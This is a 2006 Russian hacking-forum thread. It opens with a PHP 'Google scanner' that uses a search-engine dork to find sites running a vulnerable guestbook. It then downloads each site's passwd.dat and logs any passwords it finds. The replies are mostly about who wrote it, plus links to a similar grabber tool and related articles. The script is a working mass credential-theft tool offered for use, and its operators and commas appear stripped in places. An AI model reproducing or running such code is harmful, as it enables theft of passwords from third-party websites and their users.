Гугля сканер

Discussion in 'PHP' started by IIAHbI4, 23 Oct 2006.

  1. IIAHbI4

    IIAHbI4 Banned

    Joined:
    24 Aug 2006
    Messages:
    276
    Likes Received:
    331
    Reputations:
    11
    пробуйте )

    ?>
    PHP:
    <html>
    <META HTTP-EQUIV=Content-Type CONTENT=text/html; charset='windows-1251'>
    <title>Гугля сканер)</title>
    <body bgcolor="black">
    <pre><font face="Verdana" color="#00CC00">
    <?php

    if (isset($_GET['host'])) $host $_GET['host'];
    else 
    $host 'www.google.com'// поисковый сервер
    if (isset($_GET['path'])) $path $_GET['path'];
    else 
    $path 'gb/'// путь к скрипту поиска
    if (isset($_GET['script_name'])) $script_name $_GET['script_name'];
    else 
    $script_name 'index.php'// имя файла бажного скрипта
    if (isset($_GET['query'])) $query $_GET['query'];
    else 
    $query 'search?q=allintitle:s+r+guestbook+v1.3&num=100&hl=en'// запрос
    $SPLOIT_STRING 'passwd.dat'// самое главное - эксплоит

    function grab_links($host$path$html_source// эта функция выдирает все ссылки
    {
    global 
    $log$links;
    $log fopen("goodebug.txt""ab+"); // откроем файл для записи логов
                                        // Регулярное выражение для поиска всех ссылок
    preg_match_all("#<a.*?href=\"?'?([^\s\"'>]+)\"?'?.*?>(.*?)</a>#is"$html_source$links);
    for (
    $i=0$i<count($links[1]); $i++)
    {
     
    // сделаем из относительных ссылок абсолютные
     
    if (strpos($links[1][$i],"http") === false$links[1][$i] = 'http://'.$host.$path.$links[1][$i];
     echo 
    $links[1][$i]."\r\n";
     
    fputs($log$links[1][$i]."\r\n"); // пишем все нефильтрованные ссылки в лог - на всякий случай, а вдруг у меня фильтр через жопу написан? =)
    }
    echo 
    "\r\n";
    }

    $socket fsockopen($host80); // коннектимся...
    if (!$socket)
    {
    echo 
    "Unable to connect to target server <b>\"$host\"</b>\r\n";
    die(
    "Socket Error =("); // коннекта нету =(
    }
    else
    // формируем GET запрос к веб-серверу
    $GET_query =
    "GET ".$path.$query." HTTP/1.1\r\n".
    "Accept: */*\r\n".
    "Accept-Language: en\r\n".
    "User-Agent: Sad Internet Spider v1.0\r\n".
    "Host: $host\r\n".
    "Connection: Close\r\n\r\n";
    fputs($socket$GET_query);
    while (!
    feof($socket))
    {
     
    $html_source .= fgets($socket256); // получаем данные из сокета
    }
    grab_links($host$path$html_source); // выдираем ссылки

    for ($i=0$i<count($links[1]); $i++) // проходим все ссылки и обрабатываем их
    {
     if ((
    strpos($links[1][$i],"search") === false) && (strpos($links[1][$i], 'google') === false))
     { 
    // фильтруем левые ссылки
      
    $good_link substr($links[1][$i], 0strpos($links[1][$i], $script_name));
      if (
    $good_link)
      { 
    // нашли "хорошую" ссылку
       
    fputs($log"Good link: ".$good_link."\r\n"); // запишем-ка мы ее в лог
       
    $file = @fopen($good_link.$SPLOIT_STRING"rb"); // пытаемся слить файл
       
    if (!$filefputs($log"Cannot open file: ".$good_link.$SPLOIT_STRING."\r\n"); // облом =(
       
    else
       { 
    // успешно открыли файл
        
    fputs($log"File ".$good_link.$SPLOIT_STRING." successfully opened.\r\n");
        while (!
    feof($file))
        {
         
    $result .= fgets($file256); // долгожданный результат =)
        
    }
        if (
    strpos($result'Password') === false// если пассов нет
        
    {
         echo 
    "\r\n Тут нет пароля =( ( бля) ".$good_link.$SPLOIT_STRING." \r\n";
         unset(
    $result);
        }
        else
        { 
    // если все путем
         
    echo "\r\nFile from ".$good_link.":\r\n".htmlspecialchars($result)."\r\n";
         
    fputs(fopen("goolog.txt""ab+"), "\r\nFile from ".$good_link.":\r\n".$result."\r\n");
         unset(
    $result);
        }
       } 
    // обработали файл
      
    // конец обработки "хорошей" ссылки
     
    // конец фильтра левых ссылок
    // конец обработки всех ссылок

    }
    ?>
    </font></pre></body></html>

    типо в стиле Ачата (цвета :) )
     
    #1 IIAHbI4, 23 Oct 2006
    Last edited by a moderator: 23 Oct 2006
  2. KPOT_f!nd

    KPOT_f!nd положенец общага

    Joined:
    25 Aug 2006
    Messages:
    1,074
    Likes Received:
    502
    Reputations:
    65
    Сорри за оффтоп но есть еще такой гугл сканер:
    [offtop]www.poonk.jino-net.ru/tools/Google_Grabber.rar[/offtop]
    Еще раз сорри за оффтоп
     
  3. Ch3ck

    Ch3ck Elder - Старейшина

    Joined:
    9 Jun 2006
    Messages:
    1,362
    Likes Received:
    1,157
    Reputations:
    430
    Ианыч похоже, не прада ли?
    _http://forum.web-hack.ru/index.php?showtopic=22289
    Копирайты поставь, или я поставлю...
     
  4. SMiX

    SMiX Elder - Старейшина

    Joined:
    25 Jul 2005
    Messages:
    227
    Likes Received:
    55
    Reputations:
    29
    IIAHbI4, php-скрипты суем в тег
    PHP:
    Отредактировал сообщение.
     
  5. nc.STRIEM

    nc.STRIEM Members of Antichat

    Joined:
    5 Apr 2006
    Messages:
    1,036
    Likes Received:
    347
    Reputations:
    292
    вот что мне дэнвер сказал)))
     
  6. KSURi

    KSURi tnega AOLPS

    Joined:
    6 Jun 2006
    Messages:
    458
    Likes Received:
    219
    Reputations:
    357
    инфа по сабжу:
    http://hellknights.void.ru/articles/0x48k-b07n37.html
    http://hellknights.void.ru/articles/0x48k-b07n37_2.html
     
  7. nerezus

    nerezus Banned

    Joined:
    12 Aug 2004
    Messages:
    3,191
    Likes Received:
    727
    Reputations:
    266
    Обнови.
     
  8. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    До боли знакомый код.
     
  9. IIAHbI4

    IIAHbI4 Banned

    Joined:
    24 Aug 2006
    Messages:
    276
    Likes Received:
    331
    Reputations:
    11
    так я без капирайта нашел Оо,вставте кто знает чьё это.
    Просто удобная чтучка.
     
  10. Ch3ck

    Ch3ck Elder - Старейшина

    Joined:
    9 Jun 2006
    Messages:
    1,362
    Likes Received:
    1,157
    Reputations:
    430
    Автор: Sad